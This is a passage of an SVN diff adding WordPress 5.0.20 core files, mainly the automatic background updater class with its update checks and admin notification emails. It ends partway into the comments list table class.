+		if ( ! wp_is_file_mod_allowed( 'automatic_updater' ) )
+			return true;
+
+		if ( wp_installing() )
+			return true;
+
+		// More fine grained control can be done through the WP_AUTO_UPDATE_CORE constant and filters.
+		$disabled = defined( 'AUTOMATIC_UPDATER_DISABLED' ) && AUTOMATIC_UPDATER_DISABLED;
+
+		/**
+		 * Filters whether to entirely disable background updates.
+		 *
+		 * There are more fine-grained filters and controls for selective disabling.
+		 * This filter parallels the AUTOMATIC_UPDATER_DISABLED constant in name.
+		 *
+		 * This also disables update notification emails. That may change in the future.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool $disabled Whether the updater should be disabled.
+		 */
+		return apply_filters( 'automatic_updater_disabled', $disabled );
+	}
+
+	/**
+	 * Check for version control checkouts.
+	 *
+	 * Checks for Subversion, Git, Mercurial, and Bazaar. It recursively looks up the
+	 * filesystem to the top of the drive, erring on the side of detecting a VCS
+	 * checkout somewhere.
+	 *
+	 * ABSPATH is always checked in addition to whatever $context is (which may be the
+	 * wp-content directory, for example). The underlying assumption is that if you are
+	 * using version control *anywhere*, then you should be making decisions for
+	 * how things get updated.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $context The filesystem path to check, in addition to ABSPATH.
+	 */
+	public function is_vcs_checkout( $context ) {
+		$context_dirs = array( untrailingslashit( $context ) );
+		if ( $context !== ABSPATH )
+			$context_dirs[] = untrailingslashit( ABSPATH );
+
+		$vcs_dirs = array( '.svn', '.git', '.hg', '.bzr' );
+		$check_dirs = array();
+
+		foreach ( $context_dirs as $context_dir ) {
+			// Walk up from $context_dir to the root.
+			do {
+				$check_dirs[] = $context_dir;
+
+				// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
+				if ( $context_dir == dirname( $context_dir ) )
+					break;
+
+			// Continue one level at a time.
+			} while ( $context_dir = dirname( $context_dir ) );
+		}
+
+		$check_dirs = array_unique( $check_dirs );
+
+		// Search all directories we've found for evidence of version control.
+		foreach ( $vcs_dirs as $vcs_dir ) {
+			foreach ( $check_dirs as $check_dir ) {
+				if ( $checkout = @is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" ) )
+					break 2;
+			}
+		}
+
+		/**
+		 * Filters whether the automatic updater should consider a filesystem
+		 * location to be potentially managed by a version control system.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool $checkout  Whether a VCS checkout was discovered at $context
+		 *                        or ABSPATH, or anywhere higher.
+		 * @param string $context The filesystem context (a path) against which
+		 *                        filesystem status should be checked.
+		 */
+		return apply_filters( 'automatic_updates_is_vcs_checkout', $checkout, $context );
+	}
+
+	/**
+	 * Tests to see if we can and should update a specific item.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $type    The type of update being checked: 'core', 'theme',
+	 *                        'plugin', 'translation'.
+	 * @param object $item    The update offer.
+	 * @param string $context The filesystem context (a path) against which filesystem
+	 *                        access and status should be checked.
+	 */
+	public function should_update( $type, $item, $context ) {
+		// Used to see if WP_Filesystem is set up to allow unattended updates.
+		$skin = new Automatic_Upgrader_Skin;
+
+		if ( $this->is_disabled() )
+			return false;
+
+		// Only relax the filesystem checks when the update doesn't include new files
+		$allow_relaxed_file_ownership = false;
+		if ( 'core' == $type && isset( $item->new_files ) && ! $item->new_files ) {
+			$allow_relaxed_file_ownership = true;
+		}
+
+		// If we can't do an auto core update, we may still be able to email the user.
+		if ( ! $skin->request_filesystem_credentials( false, $context, $allow_relaxed_file_ownership ) || $this->is_vcs_checkout( $context ) ) {
+			if ( 'core' == $type )
+				$this->send_core_update_notification_email( $item );
+			return false;
+		}
+
+		// Next up, is this an item we can update?
+		if ( 'core' == $type )
+			$update = Core_Upgrader::should_update_to_version( $item->current );
+		else
+			$update = ! empty( $item->autoupdate );
+
+		/**
+		 * Filters whether to automatically update core, a plugin, a theme, or a language.
+		 *
+		 * The dynamic portion of the hook name, `$type`, refers to the type of update
+		 * being checked. Can be 'core', 'theme', 'plugin', or 'translation'.
+		 *
+		 * Generally speaking, plugins, themes, and major core versions are not updated
+		 * by default, while translations and minor and development versions for core
+		 * are updated by default.
+		 *
+		 * See the {@see 'allow_dev_auto_core_updates', {@see 'allow_minor_auto_core_updates'},
+		 * and {@see 'allow_major_auto_core_updates'} filters for a more straightforward way to
+		 * adjust core updates.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool   $update Whether to update.
+		 * @param object $item   The update offer.
+		 */
+		$update = apply_filters( "auto_update_{$type}", $update, $item );
+
+		if ( ! $update ) {
+			if ( 'core' == $type )
+				$this->send_core_update_notification_email( $item );
+			return false;
+		}
+
+		// If it's a core update, are we actually compatible with its requirements?
+		if ( 'core' == $type ) {
+			global $wpdb;
+
+			$php_compat = version_compare( phpversion(), $item->php_version, '>=' );
+			if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) )
+				$mysql_compat = true;
+			else
+				$mysql_compat = version_compare( $wpdb->db_version(), $item->mysql_version, '>=' );
+
+			if ( ! $php_compat || ! $mysql_compat )
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Notifies an administrator of a core update.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param object $item The update offer.
+	 */
+	protected function send_core_update_notification_email( $item ) {
+		$notified = get_site_option( 'auto_core_update_notified' );
+
+		// Don't notify if we've already notified the same email address of the same version.
+		if ( $notified && $notified['email'] == get_site_option( 'admin_email' ) && $notified['version'] == $item->current )
+			return false;
+
+		// See if we need to notify users of a core update.
+		$notify = ! empty( $item->notify_email );
+
+		/**
+		 * Filters whether to notify the site administrator of a new core update.
+		 *
+		 * By default, administrators are notified when the update offer received
+		 * from WordPress.org sets a particular flag. This allows some discretion
+		 * in if and when to notify.
+		 *
+		 * This filter is only evaluated once per release. If the same email address
+		 * was already notified of the same new version, WordPress won't repeatedly
+		 * email the administrator.
+		 *
+		 * This filter is also used on about.php to check if a plugin has disabled
+		 * these notifications.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool   $notify Whether the site administrator is notified.
+		 * @param object $item   The update offer.
+		 */
+		if ( ! apply_filters( 'send_core_update_notification_email', $notify, $item ) )
+			return false;
+
+		$this->send_email( 'manual', $item );
+		return true;
+	}
+
+	/**
+	 * Update an item, if appropriate.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $type The type of update being checked: 'core', 'theme', 'plugin', 'translation'.
+	 * @param object $item The update offer.
+	 *
+	 * @return null|WP_Error
+	 */
+	public function update( $type, $item ) {
+		$skin = new Automatic_Upgrader_Skin;
+
+		switch ( $type ) {
+			case 'core':
+				// The Core upgrader doesn't use the Upgrader's skin during the actual main part of the upgrade, instead, firing a filter.
+				add_filter( 'update_feedback', array( $skin, 'feedback' ) );
+				$upgrader = new Core_Upgrader( $skin );
+				$context  = ABSPATH;
+				break;
+			case 'plugin':
+				$upgrader = new Plugin_Upgrader( $skin );
+				$context  = WP_PLUGIN_DIR; // We don't support custom Plugin directories, or updates for WPMU_PLUGIN_DIR
+				break;
+			case 'theme':
+				$upgrader = new Theme_Upgrader( $skin );
+				$context  = get_theme_root( $item->theme );
+				break;
+			case 'translation':
+				$upgrader = new Language_Pack_Upgrader( $skin );
+				$context  = WP_CONTENT_DIR; // WP_LANG_DIR;
+				break;
+		}
+
+		// Determine whether we can and should perform this update.
+		if ( ! $this->should_update( $type, $item, $context ) )
+			return false;
+
+		/**
+		 * Fires immediately prior to an auto-update.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string $type    The type of update being checked: 'core', 'theme', 'plugin', or 'translation'.
+		 * @param object $item    The update offer.
+		 * @param string $context The filesystem context (a path) against which filesystem access and status
+		 *                        should be checked.
+		 */
+		do_action( 'pre_auto_update', $type, $item, $context );
+
+		$upgrader_item = $item;
+		switch ( $type ) {
+			case 'core':
+				$skin->feedback( __( 'Updating to WordPress %s' ), $item->version );
+				$item_name = sprintf( __( 'WordPress %s' ), $item->version );
+				break;
+			case 'theme':
+				$upgrader_item = $item->theme;
+				$theme = wp_get_theme( $upgrader_item );
+				$item_name = $theme->Get( 'Name' );
+				$skin->feedback( __( 'Updating theme: %s' ), $item_name );
+				break;
+			case 'plugin':
+				$upgrader_item = $item->plugin;
+				$plugin_data = get_plugin_data( $context . '/' . $upgrader_item );
+				$item_name = $plugin_data['Name'];
+				$skin->feedback( __( 'Updating plugin: %s' ), $item_name );
+				break;
+			case 'translation':
+				$language_item_name = $upgrader->get_name_for_update( $item );
+				$item_name = sprintf( __( 'Translations for %s' ), $language_item_name );
+				$skin->feedback( sprintf( __( 'Updating translations for %1$s (%2$s)&#8230;' ), $language_item_name, $item->language ) );
+				break;
+		}
+
+		$allow_relaxed_file_ownership = false;
+		if ( 'core' == $type && isset( $item->new_files ) && ! $item->new_files ) {
+			$allow_relaxed_file_ownership = true;
+		}
+
+		// Boom, This sites about to get a whole new splash of paint!
+		$upgrade_result = $upgrader->upgrade( $upgrader_item, array(
+			'clear_update_cache' => false,
+			// Always use partial builds if possible for core updates.
+			'pre_check_md5'      => false,
+			// Only available for core updates.
+			'attempt_rollback'   => true,
+			// Allow relaxed file ownership in some scenarios
+			'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership,
+		) );
+
+		// If the filesystem is unavailable, false is returned.
+		if ( false === $upgrade_result ) {
+			$upgrade_result = new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
+		}
+
+		if ( 'core' == $type ) {
+			if ( is_wp_error( $upgrade_result ) && ( 'up_to_date' == $upgrade_result->get_error_code() || 'locked' == $upgrade_result->get_error_code() ) ) {
+				// These aren't actual errors, treat it as a skipped-update instead to avoid triggering the post-core update failure routines.
+				return false;
+			}
+
+			// Core doesn't output this, so let's append it so we don't get confused.
+			if ( is_wp_error( $upgrade_result ) ) {
+				$skin->error( __( 'Installation Failed' ), $upgrade_result );
+			} else {
+				$skin->feedback( __( 'WordPress updated successfully' ) );
+			}
+		}
+
+		$this->update_results[ $type ][] = (object) array(
+			'item'     => $item,
+			'result'   => $upgrade_result,
+			'name'     => $item_name,
+			'messages' => $skin->get_upgrade_messages()
+		);
+
+		return $upgrade_result;
+	}
+
+	/**
+	 * Kicks off the background update process, looping through all pending updates.
+	 *
+	 * @since 3.7.0
+	 */
+	public function run() {
+		if ( $this->is_disabled() )
+			return;
+
+		if ( ! is_main_network() || ! is_main_site() )
+			return;
+
+		if ( ! WP_Upgrader::create_lock( 'auto_updater' ) )
+			return;
+
+		// Don't automatically run these thins, as we'll handle it ourselves
+		remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
+		remove_action( 'upgrader_process_complete', 'wp_version_check' );
+		remove_action( 'upgrader_process_complete', 'wp_update_plugins' );
+		remove_action( 'upgrader_process_complete', 'wp_update_themes' );
+
+		// Next, Plugins
+		wp_update_plugins(); // Check for Plugin updates
+		$plugin_updates = get_site_transient( 'update_plugins' );
+		if ( $plugin_updates && !empty( $plugin_updates->response ) ) {
+			foreach ( $plugin_updates->response as $plugin ) {
+				$this->update( 'plugin', $plugin );
+			}
+			// Force refresh of plugin update information
+			wp_clean_plugins_cache();
+		}
+
+		// Next, those themes we all love
+		wp_update_themes();  // Check for Theme updates
+		$theme_updates = get_site_transient( 'update_themes' );
+		if ( $theme_updates && !empty( $theme_updates->response ) ) {
+			foreach ( $theme_updates->response as $theme ) {
+				$this->update( 'theme', (object) $theme );
+			}
+			// Force refresh of theme update information
+			wp_clean_themes_cache();
+		}
+
+		// Next, Process any core update
+		wp_version_check(); // Check for Core updates
+		$core_update = find_core_auto_update();
+
+		if ( $core_update )
+			$this->update( 'core', $core_update );
+
+		// Clean up, and check for any pending translations
+		// (Core_Upgrader checks for core updates)
+		$theme_stats = array();
+		if ( isset( $this->update_results['theme'] ) ) {
+			foreach ( $this->update_results['theme'] as $upgrade ) {
+				$theme_stats[ $upgrade->item->theme ] = ( true === $upgrade->result );
+			}
+		}
+		wp_update_themes( $theme_stats );  // Check for Theme updates
+
+		$plugin_stats = array();
+		if ( isset( $this->update_results['plugin'] ) ) {
+			foreach ( $this->update_results['plugin'] as $upgrade ) {
+				$plugin_stats[ $upgrade->item->plugin ] = ( true === $upgrade->result );
+			}
+		}
+		wp_update_plugins( $plugin_stats ); // Check for Plugin updates
+
+		// Finally, Process any new translations
+		$language_updates = wp_get_translation_updates();
+		if ( $language_updates ) {
+			foreach ( $language_updates as $update ) {
+				$this->update( 'translation', $update );
+			}
+
+			// Clear existing caches
+			wp_clean_update_cache();
+
+			wp_version_check();  // check for Core updates
+			wp_update_themes();  // Check for Theme updates
+			wp_update_plugins(); // Check for Plugin updates
+		}
+
+		// Send debugging email to admin for all development installations.
+		if ( ! empty( $this->update_results ) ) {
+			$development_version = false !== strpos( get_bloginfo( 'version' ), '-' );
+
+			/**
+			 * Filters whether to send a debugging email for each automatic background update.
+			 *
+			 * @since 3.7.0
+			 *
+			 * @param bool $development_version By default, emails are sent if the
+			 *                                  install is a development version.
+			 *                                  Return false to avoid the email.
+			 */
+			if ( apply_filters( 'automatic_updates_send_debug_email', $development_version ) )
+				$this->send_debug_email();
+
+			if ( ! empty( $this->update_results['core'] ) )
+				$this->after_core_update( $this->update_results['core'][0] );
+
+			/**
+			 * Fires after all automatic updates have run.
+			 *
+			 * @since 3.8.0
+			 *
+			 * @param array $update_results The results of all attempted updates.
+			 */
+			do_action( 'automatic_updates_complete', $this->update_results );
+		}
+
+		WP_Upgrader::release_lock( 'auto_updater' );
+	}
+
+	/**
+	 * If we tried to perform a core update, check if we should send an email,
+	 * and if we need to avoid processing future updates.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param object $update_result The result of the core update. Includes the update offer and result.
+	 */
+	protected function after_core_update( $update_result ) {
+		$wp_version = get_bloginfo( 'version' );
+
+		$core_update = $update_result->item;
+		$result      = $update_result->result;
+
+		if ( ! is_wp_error( $result ) ) {
+			$this->send_email( 'success', $core_update );
+			return;
+		}
+
+		$error_code = $result->get_error_code();
+
+		// Any of these WP_Error codes are critical failures, as in they occurred after we started to copy core files.
+		// We should not try to perform a background update again until there is a successful one-click update performed by the user.
+		$critical = false;
+		if ( $error_code === 'disk_full' || false !== strpos( $error_code, '__copy_dir' ) ) {
+			$critical = true;
+		} elseif ( $error_code === 'rollback_was_required' && is_wp_error( $result->get_error_data()->rollback ) ) {
+			// A rollback is only critical if it failed too.
+			$critical = true;
+			$rollback_result = $result->get_error_data()->rollback;
+		} elseif ( false !== strpos( $error_code, 'do_rollback' ) ) {
+			$critical = true;
+		}
+
+		if ( $critical ) {
+			$critical_data = array(
+				'attempted'  => $core_update->current,
+				'current'    => $wp_version,
+				'error_code' => $error_code,
+				'error_data' => $result->get_error_data(),
+				'timestamp'  => time(),
+				'critical'   => true,
+			);
+			if ( isset( $rollback_result ) ) {
+				$critical_data['rollback_code'] = $rollback_result->get_error_code();
+				$critical_data['rollback_data'] = $rollback_result->get_error_data();
+			}
+			update_site_option( 'auto_core_update_failed', $critical_data );
+			$this->send_email( 'critical', $core_update, $result );
+			return;
+		}
+
+		/*
+		 * Any other WP_Error code (like download_failed or files_not_writable) occurs before
+		 * we tried to copy over core files. Thus, the failures are early and graceful.
+		 *
+		 * We should avoid trying to perform a background update again for the same version.
+		 * But we can try again if another version is released.
+		 *
+		 * For certain 'transient' failures, like download_failed, we should allow retries.
+		 * In fact, let's schedule a special update for an hour from now. (It's possible
+		 * the issue could actually be on WordPress.org's side.) If that one fails, then email.
+		 */
+		$send = true;
+  		$transient_failures = array( 'incompatible_archive', 'download_failed', 'insane_distro', 'locked' );
+  		if ( in_array( $error_code, $transient_failures ) && ! get_site_option( 'auto_core_update_failed' ) ) {
+  			wp_schedule_single_event( time() + HOUR_IN_SECONDS, 'wp_maybe_auto_update' );
+  			$send = false;
+  		}
+
+  		$n = get_site_option( 'auto_core_update_notified' );
+		// Don't notify if we've already notified the same email address of the same version of the same notification type.
+		if ( $n && 'fail' == $n['type'] && $n['email'] == get_site_option( 'admin_email' ) && $n['version'] == $core_update->current )
+			$send = false;
+
+		update_site_option( 'auto_core_update_failed', array(
+			'attempted'  => $core_update->current,
+			'current'    => $wp_version,
+			'error_code' => $error_code,
+			'error_data' => $result->get_error_data(),
+			'timestamp'  => time(),
+			'retry'      => in_array( $error_code, $transient_failures ),
+		) );
+
+		if ( $send )
+			$this->send_email( 'fail', $core_update, $result );
+	}
+
+	/**
+	 * Sends an email upon the completion or failure of a background core update.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $type        The type of email to send. Can be one of 'success', 'fail', 'manual', 'critical'.
+	 * @param object $core_update The update offer that was attempted.
+	 * @param mixed  $result      Optional. The result for the core update. Can be WP_Error.
+	 */
+	protected function send_email( $type, $core_update, $result = null ) {
+		update_site_option( 'auto_core_update_notified', array(
+			'type'      => $type,
+			'email'     => get_site_option( 'admin_email' ),
+			'version'   => $core_update->current,
+			'timestamp' => time(),
+		) );
+
+		$next_user_core_update = get_preferred_from_update_core();
+		// If the update transient is empty, use the update we just performed
+		if ( ! $next_user_core_update )
+			$next_user_core_update = $core_update;
+		$newer_version_available = ( 'upgrade' == $next_user_core_update->response && version_compare( $next_user_core_update->version, $core_update->version, '>' ) );
+
+		/**
+		 * Filters whether to send an email following an automatic background core update.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool   $send        Whether to send the email. Default true.
+		 * @param string $type        The type of email to send. Can be one of
+		 *                            'success', 'fail', 'critical'.
+		 * @param object $core_update The update offer that was attempted.
+		 * @param mixed  $result      The result for the core update. Can be WP_Error.
+		 */
+		if ( 'manual' !== $type && ! apply_filters( 'auto_core_update_send_email', true, $type, $core_update, $result ) )
+			return;
+
+		switch ( $type ) {
+			case 'success' : // We updated.
+				/* translators: 1: Site name, 2: WordPress version number. */
+				$subject = __( '[%1$s] Your site has updated to WordPress %2$s' );
+				break;
+
+			case 'fail' :   // We tried to update but couldn't.
+			case 'manual' : // We can't update (and made no attempt).
+				/* translators: 1: Site name, 2: WordPress version number. */
+				$subject = __( '[%1$s] WordPress %2$s is available. Please update!' );
+				break;
+
+			case 'critical' : // We tried to update, started to copy files, then things went wrong.
+				/* translators: 1: Site name. */
+				$subject = __( '[%1$s] URGENT: Your site may be down due to a failed update' );
+				break;
+
+			default :
+				return;
+		}
+
+		// If the auto update is not to the latest version, say that the current version of WP is available instead.
+		$version = 'success' === $type ? $core_update->current : $next_user_core_update->current;
+		$subject = sprintf( $subject, wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $version );
+
+		$body = '';
+
+		switch ( $type ) {
+			case 'success' :
+				$body .= sprintf( __( 'Howdy! Your site at %1$s has been updated automatically to WordPress %2$s.' ), home_url(), $core_update->current );
+				$body .= "\n\n";
+				if ( ! $newer_version_available )
+					$body .= __( 'No further action is needed on your part.' ) . ' ';
+
+				// Can only reference the About screen if their update was successful.
+				list( $about_version ) = explode( '-', $core_update->current, 2 );
+				$body .= sprintf( __( "For more on version %s, see the About WordPress screen:" ), $about_version );
+				$body .= "\n" . admin_url( 'about.php' );
+
+				if ( $newer_version_available ) {
+					$body .= "\n\n" . sprintf( __( 'WordPress %s is also now available.' ), $next_user_core_update->current ) . ' ';
+					$body .= __( 'Updating is easy and only takes a few moments:' );
+					$body .= "\n" . network_admin_url( 'update-core.php' );
+				}
+
+				break;
+
+			case 'fail' :
+			case 'manual' :
+				$body .= sprintf( __( 'Please update your site at %1$s to WordPress %2$s.' ), home_url(), $next_user_core_update->current );
+
+				$body .= "\n\n";
+
+				// Don't show this message if there is a newer version available.
+				// Potential for confusion, and also not useful for them to know at this point.
+				if ( 'fail' == $type && ! $newer_version_available )
+					$body .= __( 'We tried but were unable to update your site automatically.' ) . ' ';
+
+				$body .= __( 'Updating is easy and only takes a few moments:' );
+				$body .= "\n" . network_admin_url( 'update-core.php' );
+				break;
+
+			case 'critical' :
+				if ( $newer_version_available )
+					$body .= sprintf( __( 'Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s.' ), home_url(), $core_update->current );
+				else
+					$body .= sprintf( __( 'Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s.' ), home_url(), $core_update->current );
+
+				$body .= "\n\n" . __( "This means your site may be offline or broken. Don't panic; this can be fixed." );
+
+				$body .= "\n\n" . __( "Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:" );
+				$body .= "\n" . network_admin_url( 'update-core.php' );
+				break;
+		}
+
+		$critical_support = 'critical' === $type && ! empty( $core_update->support_email );
+		if ( $critical_support ) {
+			// Support offer if available.
+			$body .= "\n\n" . sprintf( __( "The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working." ), $core_update->support_email );
+		} else {
+			// Add a note about the support forums.
+			$body .= "\n\n" . __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' );
+			$body .= "\n" . __( 'https://wordpress.org/support/' );
+		}
+
+		// Updates are important!
+		if ( $type != 'success' || $newer_version_available ) {
+			$body .= "\n\n" . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' );
+		}
+
+		if ( $critical_support ) {
+			$body .= " " . __( "If you reach out to us, we'll also ensure you'll never have this problem again." );
+		}
+
+		// If things are successful and we're now on the latest, mention plugins and themes if any are out of date.
+		if ( $type == 'success' && ! $newer_version_available && ( get_plugin_updates() || get_theme_updates() ) ) {
+			$body .= "\n\n" . __( 'You also have some plugins or themes with updates available. Update them now:' );
+			$body .= "\n" . network_admin_url();
+		}
+
+		$body .= "\n\n" . __( 'The WordPress Team' ) . "\n";
+
+		if ( 'critical' == $type && is_wp_error( $result ) ) {
+			$body .= "\n***\n\n";
+			$body .= sprintf( __( 'Your site was running version %s.' ), get_bloginfo( 'version' ) );
+			$body .= ' ' . __( 'We have some data that describes the error your site encountered.' );
+			$body .= ' ' . __( 'Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:' );
+
+			// If we had a rollback and we're still critical, then the rollback failed too.
+			// Loop through all errors (the main WP_Error, the update result, the rollback result) for code, data, etc.
+			if ( 'rollback_was_required' == $result->get_error_code() )
+				$errors = array( $result, $result->get_error_data()->update, $result->get_error_data()->rollback );
+			else
+				$errors = array( $result );
+
+			foreach ( $errors as $error ) {
+				if ( ! is_wp_error( $error ) )
+					continue;
+				$error_code = $error->get_error_code();
+				$body .= "\n\n" . sprintf( __( "Error code: %s" ), $error_code );
+				if ( 'rollback_was_required' == $error_code )
+					continue;
+				if ( $error->get_error_message() )
+					$body .= "\n" . $error->get_error_message();
+				$error_data = $error->get_error_data();
+				if ( $error_data )
+					$body .= "\n" . implode( ', ', (array) $error_data );
+			}
+			$body .= "\n";
+		}
+
+		$to  = get_site_option( 'admin_email' );
+		$headers = '';
+
+		$email = compact( 'to', 'subject', 'body', 'headers' );
+
+		/**
+		 * Filters the email sent following an automatic background core update.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $email {
+		 *     Array of email arguments that will be passed to wp_mail().
+		 *
+		 *     @type string $to      The email recipient. An array of emails
+		 *                            can be returned, as handled by wp_mail().
+		 *     @type string $subject The email's subject.
+		 *     @type string $body    The email message body.
+		 *     @type string $headers Any email headers, defaults to no headers.
+		 * }
+		 * @param string $type        The type of email being sent. Can be one of
+		 *                            'success', 'fail', 'manual', 'critical'.
+		 * @param object $core_update The update offer that was attempted.
+		 * @param mixed  $result      The result for the core update. Can be WP_Error.
+		 */
+		$email = apply_filters( 'auto_core_update_email', $email, $type, $core_update, $result );
+
+		wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
+	}
+
+	/**
+	 * Prepares and sends an email of a full log of background update results, useful for debugging and geekery.
+	 *
+	 * @since 3.7.0
+	 */
+	protected function send_debug_email() {
+		$update_count = 0;
+		foreach ( $this->update_results as $type => $updates )
+			$update_count += count( $updates );
+
+		$body = array();
+		$failures = 0;
+
+		$body[] = sprintf( __( 'WordPress site: %s' ), network_home_url( '/' ) );
+
+		// Core
+		if ( isset( $this->update_results['core'] ) ) {
+			$result = $this->update_results['core'][0];
+			if ( $result->result && ! is_wp_error( $result->result ) ) {
+				$body[] = sprintf( __( 'SUCCESS: WordPress was successfully updated to %s' ), $result->name );
+			} else {
+				$body[] = sprintf( __( 'FAILED: WordPress failed to update to %s' ), $result->name );
+				$failures++;
+			}
+			$body[] = '';
+		}
+
+		// Plugins, Themes, Translations
+		foreach ( array( 'plugin', 'theme', 'translation' ) as $type ) {
+			if ( ! isset( $this->update_results[ $type ] ) )
+				continue;
+			$success_items = wp_list_filter( $this->update_results[ $type ], array( 'result' => true ) );
+			if ( $success_items ) {
+				$messages = array(
+					'plugin'      => __( 'The following plugins were successfully updated:' ),
+					'theme'       => __( 'The following themes were successfully updated:' ),
+					'translation' => __( 'The following translations were successfully updated:' ),
+				);
+
+				$body[] = $messages[ $type ];
+				foreach ( wp_list_pluck( $success_items, 'name' ) as $name ) {
+					$body[] = ' * ' . sprintf( __( 'SUCCESS: %s' ), $name );
+				}
+			}
+			if ( $success_items != $this->update_results[ $type ] ) {
+				// Failed updates
+				$messages = array(
+					'plugin'      => __( 'The following plugins failed to update:' ),
+					'theme'       => __( 'The following themes failed to update:' ),
+					'translation' => __( 'The following translations failed to update:' ),
+				);
+
+				$body[] = $messages[ $type ];
+				foreach ( $this->update_results[ $type ] as $item ) {
+					if ( ! $item->result || is_wp_error( $item->result ) ) {
+						$body[] = ' * ' . sprintf( __( 'FAILED: %s' ), $item->name );
+						$failures++;
+					}
+				}
+			}
+			$body[] = '';
+		}
+
+		$site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES );
+		if ( $failures ) {
+			$body[] = trim( __(
+"BETA TESTING?
+=============
+
+This debugging email is sent when you are using a development version of WordPress.
+
+If you think these failures might be due to a bug in WordPress, could you report it?
+ * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta
+ * Or, if you're comfortable writing a bug report: https://core.trac.wordpress.org/
+
+Thanks! -- The WordPress Team" ) );
+			$body[] = '';
+
+			$subject = sprintf( __( '[%s] There were failures during background updates' ), $site_title );
+		} else {
+			$subject = sprintf( __( '[%s] Background updates have finished' ), $site_title );
+		}
+
+		$body[] = trim( __(
+'UPDATE LOG
+==========' ) );
+		$body[] = '';
+
+		foreach ( array( 'core', 'plugin', 'theme', 'translation' ) as $type ) {
+			if ( ! isset( $this->update_results[ $type ] ) )
+				continue;
+			foreach ( $this->update_results[ $type ] as $update ) {
+				$body[] = $update->name;
+				$body[] = str_repeat( '-', strlen( $update->name ) );
+				foreach ( $update->messages as $message )
+					$body[] = "  " . html_entity_decode( str_replace( '&#8230;', '...', $message ) );
+				if ( is_wp_error( $update->result ) ) {
+					$results = array( 'update' => $update->result );
+					// If we rolled back, we want to know an error that occurred then too.
+					if ( 'rollback_was_required' === $update->result->get_error_code() )
+						$results = (array) $update->result->get_error_data();
+					foreach ( $results as $result_type => $result ) {
+						if ( ! is_wp_error( $result ) )
+							continue;
+
+						if ( 'rollback' === $result_type ) {
+							/* translators: 1: Error code, 2: Error message. */
+							$body[] = '  ' . sprintf( __( 'Rollback Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
+						} else {
+							/* translators: 1: Error code, 2: Error message. */
+							$body[] = '  ' . sprintf( __( 'Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
+						}
+
+						if ( $result->get_error_data() )
+							$body[] = '         ' . implode( ', ', (array) $result->get_error_data() );
+					}
+				}
+				$body[] = '';
+			}
+		}
+
+		$email = array(
+			'to'      => get_site_option( 'admin_email' ),
+			'subject' => $subject,
+			'body'    => implode( "\n", $body ),
+			'headers' => ''
+		);
+
+		/**
+		 * Filters the debug email that can be sent following an automatic
+		 * background core update.
+		 *
+		 * @since 3.8.0
+		 *
+		 * @param array $email {
+		 *     Array of email arguments that will be passed to wp_mail().
+		 *
+		 *     @type string $to      The email recipient. An array of emails
+		 *                           can be returned, as handled by wp_mail().
+		 *     @type string $subject Email subject.
+		 *     @type string $body    Email message body.
+		 *     @type string $headers Any email headers. Default empty.
+		 * }
+		 * @param int   $failures The number of failures encountered while upgrading.
+		 * @param mixed $results  The results of all attempted updates.
+		 */
+		$email = apply_filters( 'automatic_updates_debug_email', $email, $failures, $this->update_results );
+
+		wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-comments-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-comments-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-comments-list-table.php	(revision 56912)
@@ -0,0 +1,809 @@
+<?php
+/**
+ * List Table API: WP_Comments_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying comments in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_Comments_List_Table extends WP_List_Table {
+
+	public $checkbox = true;
+
+	public $pending_count = array();
+
+	public $extra_items;
+
+	private $user_can;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @global int $post_id
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $post_id;
+
+		$post_id = isset( $_REQUEST['p'] ) ? absint( $_REQUEST['p'] ) : 0;
+
+		if ( get_option( 'show_avatars' ) ) {
+			add_filter( 'comment_author', array( $this, 'floated_admin_avatar' ), 10, 2 );
+		}
+
+		parent::__construct( array(
+			'plural' => 'comments',
